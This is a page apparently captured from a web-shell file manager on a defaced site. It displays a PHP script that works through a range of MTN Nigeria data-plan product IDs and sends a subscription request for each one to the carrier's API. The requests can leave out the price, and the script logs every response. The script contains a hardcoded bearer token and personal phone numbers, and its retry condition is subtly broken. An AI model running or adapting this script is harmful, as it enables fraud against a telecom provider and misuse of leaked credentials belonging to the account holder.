whoami7 - Manager
:
/
home
/
simspala
/
yoursimzone.com
/
Upload File:
files >> /home/simspala/yoursimzone.com/test1.php
<?php declare(strict_types=1); /** * RACT Plan Scanner — No Database * -------------------------------- * * - No PDO or MySQL connection. * - Token is entered manually below. * - Scans RACT_NG_Data_13000 through RACT_NG_Data_15000. * - Displays and logs every response. * - Runs strictly one request at a time. * - Prevents duplicate copies of this script. */ ignore_user_abort(true); set_time_limit(0); ini_set('memory_limit', '-1'); ini_set('display_errors', '0'); ini_set('log_errors', '1'); date_default_timezone_set('Africa/Lagos'); if (PHP_SAPI !== 'cli') { header('Content-Type: text/plain; charset=utf-8'); header('X-Accel-Buffering: no'); while (ob_get_level() > 0) { @ob_end_flush(); } @ob_implicit_flush(true); } /* ============================================================ | MANUAL CONFIGURATION * ============================================================ */ /* * Master SIM used to make the subscription request. */ $MASTER_MSISDN = '+2347048139976'; /* * Paste a fresh bearer token here. * * Do not add "Bearer" before the token. * The script adds "Bearer" automatically. */ $MASTER_TOKEN = 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6InJibkxaMy1PM1BPd09pQ3JTOXJBcSJ9.eyJodHRwczovL215bXRuLmNvbS9sb2dpbkNvdW50IjozNzQwLCJodHRwczovL215bXRuLmNvbS91c2VyTWV0YURhdGEiOnsiZW1haWwiOiIiLCJtc2lzZG4iOiIyMzQ3MDQ4MTM5OTc2Iiwibmlja19uYW1lIjoiIiwidGVybXNfYWNjZXB0ZWQiOiJ0cnVlIiwidG91ckFwcERpc3BsYXkiOmZhbHNlLCJreWMiOnt9fSwiaHR0cHM6Ly9teW10bi5jb20vc2Vjb25kYXJ5UHJvZmlsZSI6W3sidXNlcl9pZCI6IjY3OTlmYzVkOTUyNTEyYmU0MzQ4NTVjMSIsInByb3ZpZGVyIjoic21zIiwiY29ubmVjdGlvbiI6InNtcyIsImlzU29jaWFsIjpmYWxzZX0seyJwcm9maWxlRGF0YSI6eyJuYW1lIjoiKzIzNDcwNDgxMzk5NzYiLCJuaWNrX25hbWUiOiIrMjM0NzA0ODEzOTk3NiIsInBob25lX251bWJlciI6IisyMzQ3MDQ4MTM5OTc2In0sInVzZXJfaWQiOiIrMjM0NzA0ODEzOTk3NiIsInByb3ZpZGVyIjoiYXV0aDAiLCJjb25uZWN0aW9uIjoiTXlNVE4tQmlvbWV0cmljcyIsImlzU29jaWFsIjpmYWxzZX1dLCJodHRwczovL215bXRuLmNvbS9waG9uZV9udW1iZXIiOiIrMjM0NzA0ODEzOTk3NiIsImlzcyI6Imh0dHBzOi8vYXV0aC5tdG5vbmxpbmUuY29tLyIsInN1YiI6InNtc3w2Nzk5ZmM1ZDk1MjUxMmJlNDM0ODU1YzEiLCJhdWQiOlsiTmV4dEdlbkFQSSIsImh0dHBzOi8vbXRubmctcHJvZC5tdG4uYXV0aDAuY29tL3VzZXJpbmZvIl0sImlhdCI6MTc4NTg4ODAwMywiZXhwIjoxNzg1ODk4ODA0LCJzY29wZSI6Im9wZW5pZCBwcm9maWxlIGVtYWlsIG9mZmxpbmVfYWNjZXNzIiwiZ3R5IjoicGFzc3dvcmQiLCJhenAiOiJXTzVCYlR5RVdMU0Z2RlB3NVRzWW9pb1RRcWNxOE1xMyJ9.f_TnBpm_DzjkEmvyFN62kU5sFE8EzK6At54ZfwuU1KqqgJrpkazAC5j3omcSJmLrHZEZ36rdLQurvIEk5htqh1ZzsDWwtrSaqpyrAW1wLOd-DXUe5phdQlP9YFbND8UIvKaWbMg7N2oYAj12rMveMshnoCC1Uiqaf-qEkewPDefbcMlElAht3it8Bc2zx0nbWlqMWFJ0-yYn8AsV2G4Cy0BUmLn40Y-EO31aIUeTOIWYnY4Au60rZCH7pHx2V9JaeLRFz8kb_njvcDQ9quYl4iQiBQpze52_C4EDhr_os2U_davCIK1OWBXtD1skK15QoKaL_6j_X_pAdUo9gtzFfg'; /* * Default beneficiary number. */ $DEFAULT_BENEFICIARY = '+2347031212750'; /* * Default range. */ $DEFAULT_START = 13000; $DEFAULT_END = 15000; /* * Set this to null to omit price from the payload. * * Examples: * * $DEFAULT_PRICE = null; * $DEFAULT_PRICE = '0'; * $DEFAULT_PRICE = '500'; */ $DEFAULT_PRICE = null; /* ============================================================ | API CONFIGURATION * ============================================================ */ const API_URL = 'https://mtn-dxl-transaction-core.mymtnnxgeaprod.mtnnigeria.net/api/v3/subscription'; const API_CHANNEL = 'MTNAPPNXG'; $MAX_HTTP_ATTEMPTS = 3; $CONNECT_TIMEOUT = 15; $REQUEST_TIMEOUT = 45; /* * Delay between each SKU request. * * 200000 microseconds = 0.2 seconds. */ $REQUEST_DELAY_MICROSECONDS = 200000; /* * Log and lock files. */ $LOG_FILE = __DIR__ . '/ract_plan_scan.log'; $LOCK_FILE = __DIR__ . '/test1_scan.lock'; /* ============================================================ | PREVENT MULTIPLE COPIES * ============================================================ */ $lockHandle = fopen($LOCK_FILE, 'c'); if ($lockHandle === false) { exit("ERROR: Unable to open lock file.\n"); } if (!flock($lockHandle, LOCK_EX | LOCK_NB)) { exit( "Another test1.php scanner is already running.\n" . "Stop the existing process before starting another one.\n" ); } /** * Release the lock when the script stops. */ function releaseScannerLock(): void { global $lockHandle; if (is_resource($lockHandle)) { @flock($lockHandle, LOCK_UN); @fclose($lockHandle); } } register_shutdown_function('releaseScannerLock'); /* ============================================================ | LOGGING * ============================================================ */ /** * Display and save one log line. * * @param array<string,mixed> $context */ function logLine(string $message, array $context = []): void { global $LOG_FILE; $line = '[' . date('Y-m-d H:i:s') . '] ' . $message; if ($context !== []) { $encoded = json_encode( $context, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE | JSON_PARTIAL_OUTPUT_ON_ERROR ); if ($encoded !== false) { $line .= ' ' . $encoded; } } echo $line . PHP_EOL; @file_put_contents( $LOG_FILE, $line . PHP_EOL, FILE_APPEND | LOCK_EX ); if (PHP_SAPI !== 'cli') { @flush(); } } /** * Display a readable response block. */ function displayResponse( string $sku, int $httpCode, string $statusCode, string $body, int $attempt, int $curlNumber, string $curlError ): void { echo PHP_EOL; echo '============================================================' . PHP_EOL; echo 'SKU : ' . $sku . PHP_EOL; echo 'HTTP : ' . $httpCode . PHP_EOL; echo 'StatusCode : ' . $statusCode . PHP_EOL; echo 'Attempts : ' . $attempt . PHP_EOL; if ($curlNumber !== 0) { echo 'cURL errno : ' . $curlNumber . PHP_EOL; echo 'cURL error : ' . $curlError . PHP_EOL; } echo 'Response:' . PHP_EOL; echo ($body !== '' ? $body : '[EMPTY RESPONSE]') . PHP_EOL; echo '============================================================' . PHP_EOL; echo PHP_EOL; if (PHP_SAPI !== 'cli') { @flush(); } } /* ============================================================ | HELPERS * ============================================================ */ /** * Normalize Nigerian phone numbers to 234XXXXXXXXXX. */ function normalizePhone(string $phone): string { $phone = trim($phone); $phone = preg_replace('/[^0-9]/', '', $phone) ?? ''; if (str_starts_with($phone, '0')) { return '234' . substr($phone, 1); } return $phone; } /** * Read CLI or browser arguments. * * CLI: * php test1.php beneficiary=+2347031212750 start=0 end=2000 price=null * * Browser: * test1.php?beneficiary=2347031212750&start=0&end=2000&price=null * * @return array<string,string> */ function readArguments(): array { $arguments = []; if (PHP_SAPI === 'cli') { global $argv; foreach ($argv as $index => $argument) { if ($index === 0 || strpos($argument, '=') === false) { continue; } [$key, $value] = explode('=', $argument, 2); $arguments[trim($key)] = trim($value); } return $arguments; } foreach ($_GET as $key => $value) { if (is_scalar($value)) { $arguments[(string) $key] = trim((string) $value); } } return $arguments; } /** * Extract API status code. * * @param array<string,mixed> $json */ function extractStatusCode(array $json): string { $status = $json['statusCode'] ?? $json['status_code'] ?? $json['status'] ?? $json['code'] ?? null; return $status !== null ? (string) $status : 'NULL'; } /** * Make one API request. * * @param array<string,mixed> $payload * * @return array{ * body:string, * http_code:int, * curl_errno:int, * curl_error:string, * attempts:int * } */ function sendSubscriptionRequest( array $payload, string $bearerToken, int $maximumAttempts, int $connectTimeout, int $requestTimeout ): array { $payloadJson = json_encode( $payload, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE ); if ($payloadJson === false) { return [ 'body' => '', 'http_code' => 0, 'curl_errno' => -1, 'curl_error' => 'Payload JSON error: ' . json_last_error_msg(), 'attempts' => 0, ]; } $body = ''; $httpCode = 0; $curlNumber = 0; $curlError = ''; $attempt = 0; while ($attempt < $maximumAttempts) { $attempt++; $curl = curl_init(); if ($curl === false) { $curlNumber = -1; $curlError = 'Unable to initialize cURL'; break; } curl_setopt_array( $curl, [ CURLOPT_URL => API_URL, CURLOPT_POST => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => false, CURLOPT_MAXREDIRS => 0, CURLOPT_CONNECTTIMEOUT => $connectTimeout, CURLOPT_TIMEOUT => $requestTimeout, CURLOPT_POSTFIELDS => $payloadJson, CURLOPT_ENCODING => '', CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V4, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_SSL_VERIFYHOST => 2, CURLOPT_HTTPHEADER => [ 'Authorization: Bearer ' . $bearerToken, 'Channel: ' . API_CHANNEL, 'Content-Type: application/json', 'Accept: application/json', ], ] ); $response = curl_exec($curl); $curlNumber = curl_errno($curl); $curlError = curl_error($curl); $httpCode = (int) curl_getinfo( $curl, CURLINFO_HTTP_CODE ); curl_close($curl); $body = $response === false ? '' : (string) $response; /* * Retry network errors. */ if ($curlNumber !== 0) { logLine( 'CURL ERROR - RETRYING', [ 'attempt' => $attempt, 'errno' => $curlNumber, 'error' => $curlError, ] ); if ($attempt < $maximumAttempts) { usleep(700000 * $attempt); continue; } break; } /* * Retry rate limits and server-side errors. */ if ( $httpCode === 429 || ($httpCode >= 2000 && $httpCode <= 5999) ) { logLine( 'TRANSIENT HTTP RESPONSE - RETRYING', [ 'attempt' => $attempt, 'http' => $httpCode, 'response' => $body !== '' ? mb_substr($body, 0, 1000) : '[EMPTY RESPONSE]', ] ); if ($attempt < $maximumAttempts) { usleep(700000 * $attempt); continue; } } /* * HTTP 200, 400, 401, 403, 404 and other non-transient * responses do not need retrying. */ break; } return [ 'body' => $body, 'http_code' => $httpCode, 'curl_errno' => $curlNumber, 'curl_error' => $curlError, 'attempts' => $attempt, ]; } /* ============================================================ | FILE RESPONSE SAVER (NO DATABASE) * ============================================================ */ $RESULT_FILE = __DIR__ . '/scan_results.jsonl'; function saveResponse( string $sku, int $httpCode, string $statusCode, string $body ): void { global $RESULT_FILE; $record = [ 'time' => date('Y-m-d H:i:s'), 'sku' => $sku, 'http_code' => $httpCode, 'status_code' => $statusCode, 'response' => json_decode($body, true) ?: $body, ]; file_put_contents( $RESULT_FILE, json_encode($record, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE) . PHP_EOL, FILE_APPEND | LOCK_EX ); } /* ============================================================ | INPUT * ============================================================ */ $args = readArguments(); $beneficiary = (string) ( $args['beneficiary'] ?? $DEFAULT_BENEFICIARY ); $start = isset($args['start']) ? (int) $args['start'] : $DEFAULT_START; $end = isset($args['end']) ? (int) $args['end'] : $DEFAULT_END; /* * Restrict the scan to 13000–15000. */ $start = max(13000, min(15000, $start)); $end = max(13000, min(15000, $end)); if ($start > $end) { [$start, $end] = [$end, $start]; } $price = $DEFAULT_PRICE; if (array_key_exists('price', $args)) { $priceInput = trim((string) $args['price']); $price = ( $priceInput === '' || strtolower($priceInput) === 'null' ) ? null : $priceInput; } /* ============================================================ | VALIDATION * ============================================================ */ $masterNumber = normalizePhone($MASTER_MSISDN); $beneficiaryNumber = normalizePhone($beneficiary); $MASTER_TOKEN = trim($MASTER_TOKEN); if ($masterNumber === '') { exit("ERROR: Invalid MASTER_MSISDN.\n"); } if ($beneficiaryNumber === '') { exit("ERROR: Invalid beneficiary number.\n"); } if ( $MASTER_TOKEN === '' || $MASTER_TOKEN === 'PASTE_FRESH_BEARER_TOKEN_HERE' ) { exit( "ERROR: Add a valid bearer token to \$MASTER_TOKEN.\n" ); } /* ============================================================ | START * ============================================================ */ logLine( '--- RACT SCAN STARTED ---', [ 'master' => $masterNumber, 'beneficiary' => $beneficiaryNumber, 'start' => $start, 'end' => $end, 'total' => ($end - $start) + 1, 'price' => $price === null ? 'omitted' : $price, 'database' => 'disabled', ] ); /* ============================================================ | SERIAL SCANNER * ============================================================ */ $totalProcessed = 0; $totalHttpSuccess = 0; $totalHttpFailure = 0; $totalCurlErrors = 0; $statusCounts = []; for ($index = $start; $index <= $end; $index++) { $sku = 'RACT_NG_Data_' . $index; try { $payload = [ 'primaryMsisdn' => $masterNumber, 'payment_source' => 'CIS', 'product_id' => $sku, 'product_type' => 'DataPlan', 'beneficiary_id' => $beneficiaryNumber, 'payment_method' => 'Airtime', 'renewal' => false, 'cvmoffer' => false, ]; if ($price !== null) { $payload['price'] = $price; } $result = sendSubscriptionRequest( $payload, $MASTER_TOKEN, $MAX_HTTP_ATTEMPTS, $CONNECT_TIMEOUT, $REQUEST_TIMEOUT ); $body = $result['body']; $httpCode = $result['http_code']; $curlNumber = $result['curl_errno']; $curlError = $result['curl_error']; $attempts = $result['attempts']; $json = []; if ($body !== '') { $decoded = json_decode($body, true); if ( json_last_error() === JSON_ERROR_NONE && is_array($decoded) ) { $json = $decoded; } } $statusCode = extractStatusCode($json); displayResponse( $sku, $httpCode, $statusCode, $body, $attempts, $curlNumber, $curlError ); saveResponse( $sku, $httpCode, $statusCode, $body ); logLine( 'SCAN RESPONSE', [ 'sku' => $sku, 'http' => $httpCode, 'statusCode' => $statusCode, 'attempts' => $attempts, 'curlErrno' => $curlNumber, 'curlError' => $curlError, 'response' => $body !== '' ? $body : '[EMPTY RESPONSE]', ] ); $totalProcessed++; if ($curlNumber !== 0) { $totalCurlErrors++; } if ($httpCode >= 200 && $httpCode < 300) { $totalHttpSuccess++; } else { $totalHttpFailure++; } if (!isset($statusCounts[$statusCode])) { $statusCounts[$statusCode] = 0; } $statusCounts[$statusCode]++; if ( $index > $start && (($index - $start) % 100) === 0 ) { logLine( 'HEARTBEAT', [ 'current' => $index, 'end' => $end, 'processed' => $totalProcessed, ] ); } usleep($REQUEST_DELAY_MICROSECONDS); } catch (Throwable $exception) { logLine( 'ITERATION ERROR - CONTINUING', [ 'sku' => $sku, 'error' => $exception->getMessage(), 'file' => $exception->getFile(), 'line' => $exception->getLine(), ] ); usleep(300000); } } /* ============================================================ | FINAL REPORT * ============================================================ */ logLine('========================================'); logLine('RACT SCAN COMPLETED'); logLine('START: ' . $start); logLine('END: ' . $end); logLine('TOTAL PROCESSED: ' . $totalProcessed); logLine('HTTP 2XX: ' . $totalHttpSuccess); logLine('HTTP NON-2XX: ' . $totalHttpFailure); logLine('CURL ERRORS: ' . $totalCurlErrors); foreach ($statusCounts as $status => $count) { logLine( 'STATUS COUNT', [ 'statusCode' => $status, 'count' => $count, ] ); } logLine('DATABASE CONNECTIONS USED: 0'); logLine('========================================');
Copyright ©2021 || Defacer Indonesia